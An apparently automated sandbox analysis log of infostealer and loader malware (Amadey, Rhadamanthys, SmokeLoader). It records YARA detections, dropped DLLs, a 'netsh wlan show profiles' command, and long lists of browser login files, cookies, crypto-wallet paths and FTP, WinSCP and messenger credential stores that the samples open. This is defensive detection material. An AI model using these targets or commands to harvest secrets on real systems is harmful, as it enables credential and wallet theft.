Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\DVWHKMNFNN.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\KATAXZVCPS.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\NWTVCDUMOB.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\Desktop\YPSIACHYXW.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\rundll32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar VolumeInformation
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.docx VolumeInformation
Source: C:\Windows\System32\tar.exe Queries volume information: C:\Users\user\AppData\Local\Temp\_Files_\DVWHKMNFNN.xlsx VolumeInformation
Source: C:\Windows\System32\OpenWith.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486EDF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe, 2_3_00007DF486EDF83C
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0030065A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime, 15_2_0030065A
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_002E6080 DeleteObject,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority, 15_2_002E6080
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_002E7630 GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,GetSystemInfo, 15_2_002E7630
Source: C:\Windows\System32\OpenWith.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys Clipper DLL
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, type: DROPPED
Yara detected Amadeys stealer DLL
Source: Yara match File source: 21.0.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.B88B.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.B88B.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.Utsysc.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.2299545232.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000000.2323835443.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2303406320.000000000E710000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.2306338149.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\B88B.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, type: DROPPED
Yara detected RHADAMANTHYS Stealer
Source: Yara match File source: 0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected SmokeLoader
Source: Yara match File source: 13.0.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.utihrjr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Roaming\utihrjr, type: DROPPED
Found many strings related to Crypto-Wallets (likely being stolen)
Source: OpenWith.exe, 00000002.00000003.1855629748.000002427DAA7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\Qtum-Electrum\config
Source: OpenWith.exe, 00000002.00000003.1858602829.000002427DB61000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\ElectronCash\config
Source: OpenWith.exe, 00000002.00000003.1857488476.000002427DAD7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\com.liberty.jaxx
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\Exodus\exodus.wallet
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: passphrase.json
Source: OpenWith.exe, 00000002.00000003.1857668872.000002427DA83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\Exodus\exodus.wallet
Source: OpenWith.exe, 00000002.00000003.1864315941.000002427DB55000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %AppData%\Coinomi\Coinomi\wallets
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl
Source: C:\Windows\System32\OpenWith.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security
Tries to harvest and steal WLAN passwords
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\doomed
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\thumbnails
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\safebrowsing\google4
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\System32\OpenWith.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Windows\SysWOW64\explorer.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Tries to harvest and steal ftp login credentials
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml
Tries to steal Instant Messenger accounts or passwords
Source: C:\Windows\System32\rundll32.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml
Source: C:\Windows\System32\rundll32.exe File opened: C:\Windows\System32\.purple\accounts.xml
